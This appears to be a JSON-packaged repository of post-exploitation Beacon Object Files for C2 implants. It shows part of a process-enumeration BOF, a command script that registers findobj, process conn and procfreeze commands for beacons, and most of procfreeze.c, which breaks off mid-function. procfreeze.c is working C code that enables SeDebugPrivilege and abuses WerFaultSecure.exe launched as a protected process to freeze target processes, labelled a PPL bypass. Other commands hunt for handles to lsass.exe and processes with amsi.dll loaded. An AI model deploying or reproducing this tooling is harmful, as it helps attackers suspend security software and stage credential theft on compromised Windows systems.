char * convertedPN = intAlloc(pProcInfo->ProcessName.Length + 1);\n            ConvertUnicodeStringToChar(pProcInfo->ProcessName.Buffer, pnLength + 1, convertedPN, pnLength + 1);\n            internal_printf(\"%-18s%s %s\\n\", \"[I] ProcessName:\", convertedPN, \"(implant process)\");\n            intFree(convertedPN);\n        }\n\t\telse{\n            SIZE_T pnLength = pProcInfo->ProcessName.Length;\n            char * convertedPN = intAlloc(pProcInfo->ProcessName.Length + 1);\n            ConvertUnicodeStringToChar(pProcInfo->ProcessName.Buffer, pnLength + 1, convertedPN, pnLength + 1);\n            internal_printf(\"%-18s%s\\n\", \"[I] ProcessName:\", convertedPN);\n            intFree(convertedPN);\n        }\n        internal_printf(\"%-18s%lu\\n\", \"    ProcessID:\", HandleToULong(pProcInfo->ProcessId));\n        internal_printf(\"%-18s%lu \", \"    PPID:\", HandleToULong(pProcInfo->InheritedFromProcessId));\n\n\t\tPSYSTEM_PROCESSES pParentInfo = (PSYSTEM_PROCESSES)pProcInfoBuffer;\n\t\tdo {\n\t\t\tpParentInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pParentInfo) + pParentInfo->NextEntryDelta);\n\n\t\t\tif (HandleToULong(pParentInfo->ProcessId) == HandleToULong(pProcInfo->InheritedFromProcessId)) {\n\t\t\t\tSIZE_T pnLength = pParentInfo->ProcessName.Length;\n                char * convertedPN = intAlloc(pParentInfo->ProcessName.Length + 1);\n                ConvertUnicodeStringToChar(pParentInfo->ProcessName.Buffer, pnLength + 1, convertedPN, pnLength + 1);\n                internal_printf(\"%s\\n\", convertedPN);\n                intFree(convertedPN);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if (pParentInfo->NextEntryDelta == 0) {\n\t\t\t\tinternal_printf(\"(Non-existent process)\\n\");\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t} while (pParentInfo);\n\n\t\tftCreate.dwLowDateTime = pProcInfo->CreateTime.LowPart;\n\t\tftCreate.dwHighDateTime = pProcInfo->CreateTime.HighPart;\n\t\t\n\t\t// Convert the Createtime to local time.\n\t\tKERNEL32$FileTimeToSystemTime(&ftCreate, &stUTC);\n\t\tif (KERNEL32$SystemTimeToTzSpecificLocalTime(NULL, &stUTC, &stLocal)) {\n\t\t\tinternal_printf(\"%-18s%02d/%02d/%d %02d:%02d\\n\", \"    CreateTime:\", stLocal.wDay, stLocal.wMonth, stLocal.wYear, stLocal.wHour, stLocal.wMinute);\n\t\t}\n\n\t\tif (KERNEL32$ProcessIdToSessionId(HandleToULong(pProcInfo->ProcessId), &SessionID)) {\n\t\t\tinternal_printf(\"%-18s%d\\n\", \"    SessionID:\", SessionID);\n\t\t}\n\t\tif (HandleToULong(pProcInfo->ProcessId) == 4) {\n\t\t\tEnumKernel();\n\t\t}\n\t\telse{\n\t\t\tEnumFileProperties(pProcInfo->ProcessId, NULL);\n\t\t}\n\t\t\n\t\tHANDLE hProcess = NULL;\n\t\tOBJECT_ATTRIBUTES ObjectAttributes;\n\t\tInitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);\n\t\tCLIENT_ID uPid = { 0 };\n\n\t\tuPid.UniqueProcess = pProcInfo->ProcessId;\n\t\tuPid.UniqueThread = (HANDLE)0;\n\n\t\tstatus = ZwOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &ObjectAttributes, &uPid);\n\t\tif (hProcess != NULL) {\n\t\t\tLPWSTR lpwProcUser = GetProcessUser(hProcess, FALSE, TRUE, TRUE);\n\t\t\tif (lpwProcUser != NULL) {\n                SIZE_T pnLength = KERNEL32$lstrlenW(lpwProcUser);\n                char * convertedPN = intAlloc(pnLength + 1);\n                ConvertUnicodeStringToChar(lpwProcUser, pnLength + 1, convertedPN, pnLength + 1);\n                internal_printf(\"%-18s%s\\n\", \"    UserName:\", convertedPN);\n                intFree(convertedPN);\n\t\t\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwProcUser);\n\t\t\t}\n\n\t\t\tDWORD dwIntegrityLevel = IntegrityLevel(hProcess); // Should be switch but this fails on older Mingw compilers...\n\t\t\tif (dwIntegrityLevel == Untrusted) {\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    Integrity:\", \"Untrusted\");\n\t\t\t}\n\t\t\telse if (dwIntegrityLevel == LowIntegrity) {\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    Integrity:\", \"Low\");\n\t\t\t}\n\t\t\telse if (dwIntegrityLevel == MediumIntegrity) {\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    Integrity:\", \"Medium\");\n\t\t\t}\n\t\t\telse if (dwIntegrityLevel == HighIntegrity) {\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    Integrity:\", \"High\");\n\t\t\t}\n\t\t\telse if (dwIntegrityLevel == SystemIntegrity) {\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    Integrity:\", \"System\");\n\t\t\t}\n\t\t\telse if (dwIntegrityLevel == ProtectedProcess) {\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    Integrity:\", \"Protected Process\");\n\t\t\t}\n\n\t\t\tif (bIsWoW64) {\n\t\t\t\tEnumPebFromWoW64(hProcess);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tEnumPeb(hProcess);\n\t\t\t}\n\t\n\t\t\t// Close the Process Handle\n\t\t\tZwClose(hProcess);\n\t\t}\n\n\t\tBOOL bRDPEnabled = FALSE;\n\t\tGetTcpSessions(HandleToULong(pProcInfo->ProcessId), &bRDPEnabled);\n\t\tGetTcp6Sessions(HandleToULong(pProcInfo->ProcessId), &bRDPEnabled);\n\t\tif (bRDPEnabled) {\n\t\t\tEnumRDPSessions();\n\t\t}\n\n\t\tif (pProcInfo->NextEntryDelta == 0) {\n\t\t\tbreak;\n\t\t}\n\t} while (pProcInfo);\n\n\nCleanUp:\n\n\tif (pProcInfoBuffer != NULL) {\n\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, &procInfoSize, MEM_RELEASE);\n\t}\n\n\tif (g_lpwReadBuf != (LPWSTR)1) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, g_lpwReadBuf);\n\t}\n\n    printoutput(TRUE);\n    bofstop();\n};"
  },
  {
    "path": "Process-BOF/process.axs",
    "content": "var metadata = {\n    name: \"Process-BOF\",\n    description: \"Situational awareness of processes, modules, and services\"\n};\n\n\nvar _cmd_findobj_module = ax.create_command(\"module\", \"Identify processes which have a certain module loaded\", \"findobj module clr.dll\");\n_cmd_findobj_module.addArgString(\"module\", true, \"Module name to search for (e.g. clr.dll, amsi.dll, winhttp.dll)\");\n_cmd_findobj_module.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let module = parsed_json[\"module\"];\n\n    let bof_params = ax.bof_pack(\"wstr\", [module]);\n    let bof_path = ax.script_dir() + \"_bin/findmodule.\" + ax.arch(id) + \".o\";\n    let message = `Task: find process with module ${module}`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\nvar _cmd_findobj_prochandle = ax.create_command(\"prochandle\", \"Identify processes with a specific process handle in use\", \"findobj prochandle lsass.exe\");\n_cmd_findobj_prochandle.addArgString(\"proc\", true, \"Process name to search handles for (e.g. lsass.exe)\");\n_cmd_findobj_prochandle.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let proc = parsed_json[\"proc\"];\n\n    let bof_params = ax.bof_pack(\"wstr\", [proc]);\n    let bof_path = ax.script_dir() + \"_bin/findprochandle.\" + ax.arch(id) + \".o\";\n    let message = `Task: find processes with open handle ${proc}`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\nvar cmd_findobj = ax.create_command(\"findobj\", \"Enumerate processes for specific objects\");\ncmd_findobj.addSubCommands([_cmd_findobj_module, _cmd_findobj_prochandle]);\n\n\nvar _cmd_process_conn = ax.create_command(\"conn\", \"Shows detailed information from processes with established TCP and RDP connections\", \"process conn\");\n_cmd_process_conn.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n\n    let bof_path = ax.script_dir() + \"_bin/psc.\" + ax.arch(id) + \".o\";\n    let message = \"Task: List process connection (BOF)\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, message);\n});\n\nvar cmd_process = ax.create_command(\"process\", \"Shows detailed information from processes\");\ncmd_process.addSubCommands([_cmd_process_conn]);\n\nvar cmd_process_x = ax.create_command(\"process-x\", \"Shows detailed information from processes\");\ncmd_process_x.addSubCommands([_cmd_process_conn]);\n\n\nvar _cmd_procfreeze_freeze = ax.create_command(\"freeze\", \"Freeze a target process using PPL bypass via WerFaultSecure.exe\");\n_cmd_procfreeze_freeze.addArgInt(\"pid\", true, \"Process ID to freeze\");\n_cmd_procfreeze_freeze.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let pid = parseInt(parsed_json[\"pid\"]);\n\n    let bof_params = ax.bof_pack(\"int,int\", [1, pid]);\n    let bof_path = ax.script_dir() + \"_bin/procfreeze.\" + ax.arch(id) + \".o\";\n    let message = `Task: Freeze process ${pid}`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\nvar _cmd_procfreeze_unfreeze = ax.create_command(\"unfreeze\", \"Unfreeze a previously frozen process\");\n_cmd_procfreeze_unfreeze.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n\n    let bof_params = ax.bof_pack(\"int,int\", [2, 0]);\n    let bof_path = ax.script_dir() + \"_bin/procfreeze.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Unfreeze process\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\nvar cmd_procfreeze = ax.create_command(\"procfreeze\", \"Process freeze/unfreeze using PPL bypass (WerFaultSecure.exe)\");\ncmd_procfreeze.addSubCommands([_cmd_procfreeze_freeze, _cmd_procfreeze_unfreeze]);\n\n\nvar group_process = ax.create_commands_group(\"Process-BOF\", [cmd_findobj, cmd_process, cmd_procfreeze]);\nax.register_commands_group(group_process, [\"beacon\", \"gopher\"], [\"windows\"], []);\n\nvar group_process_x = ax.create_commands_group(\"Process-BOF-X\", [cmd_findobj, cmd_process_x, cmd_procfreeze]);\nax.register_commands_group(group_process_x, [\"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "Process-BOF/procfreeze/procfreeze.c",
    "content": "#include <windows.h>\n#include <winternl.h>\n#include \"beacon.h\"\n\n#ifndef PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL\n#define PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL 0x0002000B\n#endif\n\n\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, WINBOOL, DWORD);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$TerminateProcess(HANDLE, UINT);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateEventW(LPSECURITY_ATTRIBUTES, WINBOOL, WINBOOL, LPCWSTR);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$InitializeProcThreadAttributeList(LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD, PSIZE_T);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$UpdateProcThreadAttribute(LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD_PTR, PVOID, SIZE_T, PVOID, PSIZE_T);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$CreateProcessW(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, WINBOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);\nDECLSPEC_IMPORT VOID WINAPI KERNEL32$DeleteProcThreadAttributeList(LPPROC_THREAD_ATTRIBUTE_LIST);\nDECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);\nDECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR);\nDECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$DeleteFileW(LPCWSTR);\nDECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(VOID);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$GetExitCodeProcess(HANDLE, LPDWORD);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE, LONG, PLONG, DWORD);\nDECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize(HANDLE, LPDWORD);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE);\n\nDECLSPEC_IMPORT WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);\nDECLSPEC_IMPORT WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR, LPCWSTR, PLUID);\nDECLSPEC_IMPORT WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, WINBOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);\n\nDECLSPEC_IMPORT int __cdecl MSVCRT$_snwprintf(wchar_t*, size_t, const wchar_t*, ...);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void*, int, size_t);\n\n#ifndef STATUS_INFO_LENGTH_MISMATCH\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004)\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\n#ifndef SE_DEBUG_NAME_W\n#define SE_DEBUG_NAME_W L\"SeDebugPrivilege\"\n#endif\n\n#ifndef EXTENDED_STARTUPINFO_PRESENT\n#define EXTENDED_STARTUPINFO_PRESENT 0x00010000\n#endif\n\n#ifndef CREATE_PROTECTED_PROCESS\n#define CREATE_PROTECTED_PROCESS 0x00040000\n#endif\n\n#ifndef ERROR_INSUFFICIENT_BUFFER\n#define ERROR_INSUFFICIENT_BUFFER 122\n#endif\n\n#ifndef STILL_ACTIVE\n#define STILL_ACTIVE 259\n#endif\n\n#ifndef HEAP_ZERO_MEMORY\n#define HEAP_ZERO_MEMORY 0x00000008\n#endif\n\n#define StateWait 5\n#define Suspended 5\n\n#define MODE_FREEZE   1\n#define MODE_UNFREEZE 2\n\n#define KEY_HPROCESS   \"pf_hProc\"\n#define KEY_HTHREAD    \"pf_hThread\"\n#define KEY_HDUMP      \"pf_hDump\"\n#define KEY_HENCDUMP   \"pf_hEncDump\"\n#define KEY_HCANCEL    \"pf_hCancel\"\n#define KEY_WERPID     \"pf_werPid\"\n#define KEY_TARGETPID  \"pf_targetPid\"\n#define KEY_ACTIVE     \"pf_active\"\n\ntypedef struct _MY_SYSTEM_THREAD_INFORMATION {\n    LARGE_INTEGER KernelTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER CreateTime;\n    ULONG WaitTime;\n    PVOID StartAddress;\n    CLIENT_ID ClientId;\n    LONG Priority;\n    LONG BasePriority;\n    ULONG ContextSwitches;\n    ULONG ThreadState;\n    ULONG WaitReason;\n} MY_SYSTEM_THREAD_INFORMATION;\n\ntypedef struct _MY_SYSTEM_PROCESS_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG NumberOfThreads;\n    LARGE_INTEGER Reserved[3];\n    LARGE_INTEGER CreateTime;\n    LARGE_INTEGER UserTime;\n    LARGE_INTEGER KernelTime;\n    UNICODE_STRING ImageName;\n    KPRIORITY BasePriority;\n    HANDLE UniqueProcessId;\n    HANDLE InheritedFromUniqueProcessId;\n    ULONG HandleCount;\n    ULONG SessionId;\n    ULONG_PTR PageDirectoryBase;\n    SIZE_T PeakVirtualSize;\n    SIZE_T VirtualSize;\n    ULONG PageFaultCount;\n    SIZE_T PeakWorkingSetSize;\n    SIZE_T WorkingSetSize;\n    SIZE_T QuotaPeakPagedPoolUsage;\n    SIZE_T QuotaPagedPoolUsage;\n    SIZE_T QuotaPeakNonPagedPoolUsage;\n    SIZE_T QuotaNonPagedPoolUsage;\n    SIZE_T PagefileUsage;\n    SIZE_T PeakPagefileUsage;\n    SIZE_T PrivatePageCount;\n    LARGE_INTEGER ReadOperationCount;\n    LARGE_INTEGER WriteOperationCount;\n    LARGE_INTEGER OtherOperationCount;\n    LARGE_INTEGER ReadTransferCount;\n    LARGE_INTEGER WriteTransferCount;\n    LARGE_INTEGER OtherTransferCount;\n    MY_SYSTEM_THREAD_INFORMATION Threads[1];\n} MY_SYSTEM_PROCESS_INFORMATION;\n\ntypedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(\n    SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    PVOID SystemInformation,\n    ULONG SystemInformationLength,\n    PULONG ReturnLength\n);\n\ntypedef NTSTATUS(NTAPI* pNtSuspendProcess)(HANDLE ProcessHandle);\ntypedef NTSTATUS(NTAPI* pNtResumeProcess)(HANDLE ProcessHandle);\n\nvoid PrintWin32Error(DWORD errorCode)\n{\n    switch (errorCode) {\n        case 2:\n            BeaconPrintf(CALLBACK_ERROR, \"File not found\");\n            break;\n        case 3:\n            BeaconPrintf(CALLBACK_ERROR, \"Path not found\");\n            break;\n        case 5:\n            BeaconPrintf(CALLBACK_ERROR, \"Access denied\");\n            break;\n        case 87:\n            BeaconPrintf(CALLBACK_ERROR, \"Invalid parameter\");\n            break;\n        case 577:\n            BeaconPrintf(CALLBACK_ERROR, \"Invalid signature\");\n            break;\n        case 740:\n            BeaconPrintf(CALLBACK_ERROR, \"Elevation required\");\n            break;\n        case 1314:\n            BeaconPrintf(CALLBACK_ERROR, \"Privilege not held\");\n            break;\n        default:\n            BeaconPrintf(CALLBACK_ERROR, \"Error: %d\", errorCode);\n    }\n}\n\nBOOL EnableDebugPrivilege()\n{\n    HANDLE hToken = NULL;\n    TOKEN_PRIVILEGES tp = {0};\n    LUID luid;\n\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))\n        return FALSE;\n\n    if (!ADVAPI32$LookupPrivilegeValueW(NULL, SE_DEBUG_NAME_W, &luid)) {\n        KERNEL32$CloseHandle(hToken);\n        return FALSE;\n    }\n\n    tp.PrivilegeCount = 1;\n    tp.Privileges[0].Luid = luid;\n    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n    ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);\n    DWORD lastError = KERNEL32$GetLastError();\n    KERNEL32$CloseHandle(hToken);\n\n    return (lastError == ERROR_SUCCESS);\n}\n\nDWORD GetMainThreadId(DWORD pid)\n{\n    ULONG bufferSize = 0x10000;\n    PVOID buffer = NULL;\n    NTSTATUS status;\n    int attempts = 0;\n    HANDLE hHeap = KERNEL32$GetProcessHeap();\n\n    HMODULE hNtdll = KERNEL32$GetModuleHandleA(\"ntdll.dll\");\n    PNtQuerySystemInformation NtQuerySystemInformation =\n        (PNtQuerySystemInformation)KERNEL32$GetProcAddress(hNtdll, \"NtQuerySystemInformation\");\n\n    if (!NtQuerySystemInformation) return 0;\n\n    do {\n        if (buffer) KERNEL32$HeapFree(hHeap, 0, buffer);\n        buffer = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, bufferSize);\n        if (!buffer) return 0;\n\n        status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, NULL);\n        if (status == STATUS_INFO_LENGTH_MISMATCH) {\n            bufferSize *= 2;\n            if (++attempts > 10) {\n                KERNEL32$HeapFree(hHeap, 0, buffer);\n                return 0;\n            }\n        }\n    } while (status == STATUS_INFO_LENGTH_MISMATCH);\n\n    if (!NT_SUCCESS(status)) {\n        KERNEL32$HeapFree(hHeap, 0, buffer);\n        return 0;\n    }\n\n    DWORD mainThreadId = 0;\n    MY_SYSTEM_PROCESS_INFORMATION* spi = (MY_SYSTEM_PROCESS_INFORMATION*)buffer;\n\n    while (TRUE) {\n        if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid) {\n            if (spi->NumberOfThreads > 0)\n                mainThreadId = (DWORD)(ULONG_PTR)spi->Threads[0].ClientId.UniqueThread;\n            break;\n        }\n        if (spi->NextEntryOffset == 0) break;\n        spi = (MY_SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset);\n    }\n\n    KERNEL32$HeapFree(hHeap, 0, buffer);\n    return mainThreadId;\n}\n\nBOOL IsProcessSuspendedByPID(DWORD pid)\n{\n    ULONG bufferSize = 0x10000;\n    PVOID buffer = NULL;\n    NTSTATUS status;\n    int attempts = 0;\n    HANDLE hHeap = KERNEL32$GetProcessHeap();\n\n    HMODULE hNtdll = KERNEL32$GetModuleHandleA(\"ntdll.dll\");\n    PNtQuerySystemInformation NtQuerySystemInformation =\n        (PNtQuerySystemInformation)KERNEL32$GetProcAddress(hNtdll, \"NtQuerySystemInformation\");\n\n    if (!NtQuerySystemInformation) return FALSE;\n\n    do {\n        if (buffer) KERNEL32$HeapFree(hHeap, 0, buffer);\n        buffer = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, bufferSize);\n        if (!buffer) return FALSE;\n\n        status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, NULL);\n        if (status == STATUS_INFO_LENGTH_MISMATCH) {\n            bufferSize *= 2;\n            if (++attempts > 10) {\n                KERNEL32$HeapFree(hHeap, 0, buffer);\n                return FALSE;\n            }\n        }\n    } while (status == STATUS_INFO_LENGTH_MISMATCH);\n\n    if (!NT_SUCCESS(status)) {\n        KERNEL32$HeapFree(hHeap, 0, buffer);\n        return FALSE;\n    }\n\n    BOOL result = FALSE;\n    MY_SYSTEM_PROCESS_INFORMATION* spi = (MY_SYSTEM_PROCESS_INFORMATION*)buffer;\n\n    while (TRUE) {\n        if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid) {\n            if (spi->NumberOfThreads == 0) break;\n            result = TRUE;\n            for (ULONG i = 0; i < spi->NumberOfThreads; ++i) {\n                if (spi->Threads[i].ThreadState != StateWait ||\n                    spi->Threads[i].WaitReason != Suspended) {\n                    result = FALSE;\n                    break;\n                }\n            }\n            break;\n        }\n        if (spi->NextEntryOffset == 0) break;\n        spi = (MY_SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset);\n    }\n\n    KERNEL32$HeapFree(hHeap, 0, buffer);\n    return result;\n}\n\nBOOL SuspendProcessByPID(DWORD pid)\n{\n    if (pid == 0) return FALSE;\n\n    HMODULE hNtdll = KERNEL32$GetModuleHandleA(\"ntdll.dll\");\n    if (!hNtdll) return FALSE;\n\n    pNtSuspendProcess NtSuspendProcess = (pNtSuspendProcess)KERNEL32$GetProcAddress(hNtdll, \"NtSuspendProcess\");\n    if (!NtSuspendProcess) return FALSE;\n\n    HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_SUSPEND_RESUME, FALSE, pid);\n    if (!hProcess) return FALSE;\n\n    NTSTATUS status = NtSuspendProcess(hProcess);\n    KERNEL32$CloseHandle(hProcess);\n\n    return (status == 0);\n}\n\nBOOL ResumeProcessByPID(DWORD pid)\n{\n    if (pid == 0) return FALSE;\n\n    HMODULE hNtdll = KERNEL32$GetModuleHandleA(\"ntdll.dll\");\n    if (!hNtdll) return FALSE;\n\n    pNtResumeProcess NtResumeProcess = (pNtResumeProcess)KERNEL32$GetProcAddress(hNtdll, \"NtResumeProcess\");\n    if (!NtResumeProcess) return FALSE;\n\n    HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_SUSPEND_RESUME, FALSE, pid);\n    if (!hProcess) return FALSE;\n\n    NTSTATUS status = NtResumeProcess(hProcess);\n    KERNEL32$CloseHandle(hProcess);\n\n    return (status == 0);\n}\n\nBOOL CreatePPLProcess(wchar_t* commandLine, HANDLE* phProcess, HANDLE* phThread)\n{\n    SIZE_T size = 0;\n    STARTUPINFOEXW siex = {0};\n    siex.StartupInfo.cb = sizeof(siex);\n    PROCESS_INFORMATION pi = {0};\n    LPPROC_THREAD_ATTRIBUTE_LIST ptal = NULL;\n    DWORD protectionLevel = 0;\n    HANDLE hHeap = KERNEL32$GetProcessHeap();\n\n    if (!KERNEL32$InitializeProcThreadAttributeList(NULL, 1, 0, &size) &&\n        KERNEL32$GetLastError() != ERROR_INSUFFICIENT_BUFFER) {\n        return FALSE;\n    }\n\n    ptal = (LPPROC_THREAD_ATTRIBUTE_LIST)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, size);\n    if (!ptal) return FALSE;\n\n    if (!KERNEL32$InitializeProcThreadAttributeList(ptal, 1, 0, &size)) {\n        KERNEL32$HeapFree(hHeap, 0, ptal);\n        return FALSE;\n    }\n\n    if (!KERNEL32$UpdateProcThreadAttribute(ptal, 0,\n        0x0002000B,\n        &protectionLevel, sizeof(protectionLevel), NULL, NULL)) {\n        KERNEL32$DeleteProcThreadAttributeList(ptal);\n        KERNEL32$HeapFree(hHeap, 0, ptal);\n        return FALSE;\n    }\n\n    siex.lpAttributeList = ptal;\n\n    if (!KERNEL32$CreateProcessW(NULL, commandLine, NULL, NULL, TRUE,\n        EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS,\n        NULL, NULL, &siex.StartupInfo, &pi)) {\n        DWORD err = KERNEL32$GetLastError();\n        PrintWin32Error(err);\n        KERNEL32$DeleteProcThreadAttributeList(ptal);\n        KERNEL32$HeapFree(hHeap, 0, ptal);\n        return FALSE;\n    }\n\n    KERNEL32$DeleteProcThreadAttributeList(ptal);\n    KERNEL32$HeapFree(hHeap, 0, ptal);\n\n    *phProcess = pi.hProcess;\n    *phThread = pi.hThread;\n    return TRUE;\n}\n\nBOOL FreezeRun(wchar_t* werPath, DWORD targetPID, DWORD targetTID)\n{\n    if (BeaconGetValue(KEY_ACTIVE) != NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"Already frozen\");\n        return FALSE;\n    }\n\n    SECURITY_ATTRIBUTES sa = {0};\n    sa.nLength = sizeof(sa);\n    sa.bInheritHandle = TRUE;\n\n    wchar_t dumpFileName[MAX_PATH];\n    wchar_t encDumpFileName[MAX_PATH];\n    MSVCRT$_snwprintf(dumpFileName, MAX_PATH, L\"C:\\\\Windows\\\\Temp\\\\pf_%d.tmp\", targetPID);\n    MSVCRT$_snwprintf(encDumpFileName, MAX_PATH, L\"C:\\\\Windows\\\\Temp\\\\pf_%d.enc\", targetPID);\n\n    HANDLE hDump = KERNEL32$CreateFileW(dumpFileName, GENERIC_WRITE | GENERIC_READ, 0, &sa,\n        CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);\n    if (hDump == INVALID_HANDLE_VALUE) {\n        PrintWin32Error(KERNEL32$GetLastError());\n        return FALSE;\n    }\n\n    HANDLE hEncDump = KERNEL32$CreateFileW(encDumpFileName, GENERIC_WRITE, 0, &sa,\n        CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);\n    if (hEncDump == INVALID_HANDLE_VALUE) {\n        KERNEL32$CloseHandle(hDump);\n        KERNEL32$DeleteFileW(dumpFileName);\n        return FALSE;\n    }\n\n    HANDLE hCancel = KERNEL32$CreateEventW(&sa, TRUE, FALSE, NULL);\n    if (!hCancel) {\n        KERNEL32$CloseHandle(hDump);\n        KERNEL32$CloseHandle(hEncDump);\n        KERNEL32$DeleteFileW(dumpFileName);\n        KERNEL32$DeleteFileW(encDumpFileName);\n        return FALSE;\n    }\n\n    wchar_t commandLine[1024];\n    MSVCRT$_snwprintf(commandLine, 1024,\n        L\"%s /h /pid %d /tid %d /file %llu /encfile %llu /cancel %llu /type 268310\",\n        werPath, targetPID, targetTID,\n        (UINT_PTR)hDump, (UINT_PTR)hEncDump, (UINT_PTR)hCancel);\n\n    HANDLE hProcess = NULL;\n    HANDLE hThread = NULL;\n\n    if (!CreatePPLProcess(commandLine, &hProcess, &hThread)) {\n        KERNEL32$CloseHandle(hDump);\n        KERNEL32$CloseHandle(hEncDump);\n        KERNEL32$CloseHandle(hCancel);\n        KERNEL32$DeleteFileW(dumpFileName);\n        KERNEL32$DeleteFileW(encDumpFileName);\n        return FALSE;\n    }\n\n    DWORD werPID = KERNEL32$GetProcessId(hProcess);\n\n    int waited = 0;\n    BOOL suspended = FALSE;\n    while (!suspended && waited < 10000) {\n        KERNEL32$Sleep(100);\n        waited += 100;\n        suspended = IsProcessSuspendedByPID(targetPID);\n\n        DWORD exitCode = 0;\n        if (KERNEL32$GetExitCodeProcess(hProcess, &exitCode) && exitCode != STILL_ACTIVE) {\n            BeaconPrintf(CALLBACK_ERROR, 